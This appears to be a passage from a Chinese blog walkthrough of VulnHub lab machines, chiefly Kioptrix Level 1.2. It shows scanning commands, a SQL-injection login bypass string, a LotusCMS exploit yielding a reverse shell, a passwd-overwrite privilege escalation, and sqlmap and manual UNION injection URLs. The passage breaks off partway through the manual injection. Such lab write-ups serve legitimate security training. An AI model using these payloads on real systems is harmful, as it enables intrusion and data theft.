&lt;p&gt;攻击机开启http服务，上传poc到靶机。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python -m http.server
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208143634122" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143634122.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cd /tmp
wget http://192.168.139.128:8000/9542.c
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208143959017" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143959017.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208144125461" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208144125461.png"&gt;&lt;/p&gt;
&lt;p&gt;编译执行，提权成功。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;gcc -o exp 9542.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;./exp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;whoami
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 14点55分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kioptrix-level-12-3"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-12-3,24/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1.2 (#3)&lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;开启靶机后，在攻击机扫描网段。以下命令多开终端同步扫。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sP 192.168.139.0/24 -T5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -T5 192.168.139.131 -p-
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS 192.168.139.131 -p- --min-rate &lt;span class="m"&gt;1000&lt;/span&gt; -A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;dirb http://192.168.139.131/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208144640601" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208144640601.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208145744481" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208145744481.png"&gt;&lt;/p&gt;
&lt;p&gt;访问80端口看到网页，点了一圈没有发现。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150020162" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150020162.png"&gt;&lt;/p&gt;
&lt;p&gt;目录扫描发现php管理员登录入口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150110203" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150110203.png"&gt;&lt;/p&gt;
&lt;p&gt;发现登录界面，用万能密码，只填用户名，密码部分留空。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150320933" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150320933.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root&amp;#34; and 1=1 -- +
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;点击表，点击搜索，发现安全设置有问题，可以写文件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;show global variables like &amp;#34;secure%&amp;#34;;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208150733727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150733727.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150752980" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150752980.png"&gt;&lt;/p&gt;
&lt;p&gt;暂时没有想法，先从其他地方继续收集信息。从80网页点进去发现一个登录窗口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208151143995" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208151143995.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208151303981" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208151303981.png"&gt;&lt;/p&gt;
&lt;p&gt;主页点gallery会跳转到新的地址，但是图片之类的都显示不出来。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 15点45分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;中间去工作了，然后发现自己没有安装BurpSuit，原本装的Pro版，后来刷机刷没了，Yakit的劫持也忘了配置，浏览器插件没有装，去安装了一下。安装步骤可以看最后面。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 18点49分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="lotus-cms-漏洞passwd漏洞"&gt;Lotus CMS 漏洞&amp;amp;passwd漏洞
&lt;/h3&gt;&lt;p&gt;先找找Lotus CMS有没有什么漏洞，这个是登录网页的框架。搜索发现如下工具。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/Hood3dRob1n/LotusCMS-Exploit" target="_blank" rel="noopener"
 &gt;https://github.com/Hood3dRob1n/LotusCMS-Exploit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208190937499" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208190937499.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208191146193" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191146193.png"&gt;&lt;/p&gt;
&lt;p&gt;选择1，反弹成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208191307841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191307841.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208191353780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191353780.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来需要提权成root。&lt;/p&gt;
&lt;p&gt;目前这个中腹案不太好看，发现有python，给他弄成交互式终端。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python -c &amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208191825137" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191825137.png"&gt;&lt;/p&gt;
&lt;p&gt;查询终端信息。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208192009711" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192009711.png"&gt;&lt;/p&gt;
&lt;p&gt;试了一些常规的提权方法不行，翻翻看文件夹，发现home文件夹下有个READEME文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208192350538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192350538.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Hello new employee,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;It is company policy here to use our newly installed software for editing, creating and viewing files.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Please use the command &amp;#39;sudo ht&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Failure to do so will result in you immediate termination.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;DG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;CEO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;你好，新员工，使用我们新安装的软件来编辑、创建和查看文件是公司的规定。请使用命令“sudo ht”。如果不这样做，你将被立即解雇。DG首席执行官
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208192553833" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192553833.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt;了一下也不行。另一个文件好像也不是有用的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208192734095" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192734095.png"&gt;&lt;/p&gt;
&lt;p&gt;回到READEME的提示，会发现要执行的时候没有paswwd，所以想从etc/passwd方向入手。看到有两个poc：40847.cpp和40839.c&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208193634473" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208193634473.png"&gt;&lt;/p&gt;
&lt;p&gt;编译第一个&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;g++ -o &lt;span class="m"&gt;40847&lt;/span&gt; 40847.cpp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;./40847 -h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;./40847 &lt;span class="o"&gt;[&lt;/span&gt;-s&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-n&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-h&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; -s open directly a shell, &lt;span class="k"&gt;if&lt;/span&gt; the exploit is successful&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; -n combined with -s, doesn&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;t restore the passwd file.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; -h print this synopsis&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; If no param is specified, the program modifies the passwd file and exits.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; A copy of the passwd file will be create in the current directory as .ssh_bak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;unprivileged user&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="k"&gt;if&lt;/span&gt; no parameter or -n is specified.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;-s如果攻击成功，直接打开shell；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;-n和-s组合，不恢复passwd文件。-h打印概要；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;如果没有指定参数，程序将修改passwd文件并退出。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;在当前目录中将以.ssh的形式创建passwd文件的副本_如果不指定参数或-n，则为Bak（非特权用户）。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208194612384" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208194612384.png"&gt;&lt;/p&gt;
&lt;p&gt;失败，换40839，编译报错，提示缺少库文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208195321220" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208195321220.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208195408073" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208195408073.png"&gt;&lt;/p&gt;
&lt;p&gt;文件中给出了编译命令。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;gcc -pthread 40839.c -o &lt;span class="m"&gt;40839&lt;/span&gt; -lcrypt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208195505865" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208195505865.png"&gt;&lt;/p&gt;
&lt;p&gt;下载到靶机上编译执行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208200238689" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208200238689.png"&gt;&lt;/p&gt;
&lt;p&gt;这里我没注意看，它提示重置密码，我直接输入成了ls，等待他执行改密操作。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208200337762" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208200337762.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208200727922" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208200727922.png"&gt;&lt;/p&gt;
&lt;p&gt;他现在提示我现在可以用&lt;code&gt;ls&lt;/code&gt;做密码登录账户&lt;code&gt;firefart&lt;/code&gt;，注意添加 &lt;code&gt;-o &lt;/code&gt;参数，不然版本太低登不进去。登不进去就直接&lt;code&gt;su firefart&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa firefart@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208201518717" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208201518717.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208201615356" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208201615356.png"&gt;&lt;/p&gt;
&lt;p&gt;虽然名字不是root，但是权限是root。&lt;/p&gt;
&lt;h3 id="页面sql注入漏洞"&gt;页面sql注入漏洞
&lt;/h3&gt;&lt;p&gt;因为之前找到phpadmin登陆界面，应该是有sql漏洞的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185122537" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185122537.png"&gt;&lt;/p&gt;
&lt;p&gt;主页点击浏览，发现有很多图片显示不出来，点击任意一个链接发现跳转新的域名，这个域名不是已经注册的，可能是跳转自己，但是DNS没有解析。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185209404" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185209404.png"&gt;&lt;/p&gt;
&lt;p&gt;修改本机Host文件，让这个域名解析到指定ip，就是靶机的ip。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185631024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185631024.png"&gt;&lt;/p&gt;
&lt;p&gt;保存host文件，刷新一下浏览器就有了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185710784" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185710784.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208190129200" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208190129200.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208190150024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208190150024.png"&gt;&lt;/p&gt;
&lt;p&gt;发现疑似注入的入口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208202722771" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208202722771.png"&gt;&lt;/p&gt;
&lt;p&gt;存在，可用，接下来就是调参了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208202906817" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208202906817.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208203002822" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208203002822.png"&gt;&lt;/p&gt;
&lt;h4 id="sqlmap-自动注入"&gt;sqlmap 自动注入
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250208205719698" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208205719698.png"&gt;&lt;/p&gt;
&lt;p&gt;懒人用sqlmap走一下捷径，实际考试sqlmap有限制次数，所以小的能手注的还是练习一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u http://192.168.139.131/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1* --dbs --batch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u http://192.168.139.131/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1* -D gallery --tables --batch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u http://192.168.139.131/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1* -D gallery -T gallarific_users --dump-all
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最后一步爆库很慢&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208210749614" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208210749614.png"&gt;
&lt;img alt="image-20250208213537024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213537024.png"&gt;&lt;/p&gt;
&lt;h4 id="手动注入"&gt;手动注入
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;http://kioptrix3.com/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="s1"&gt;&amp;#39; # 报错
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 # 不报错，是整数型注入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,33,44,55,66
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,database(),user(),44,55,66 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 database()为gallery，user()为root@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 information_schema,gallery,mysql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database()
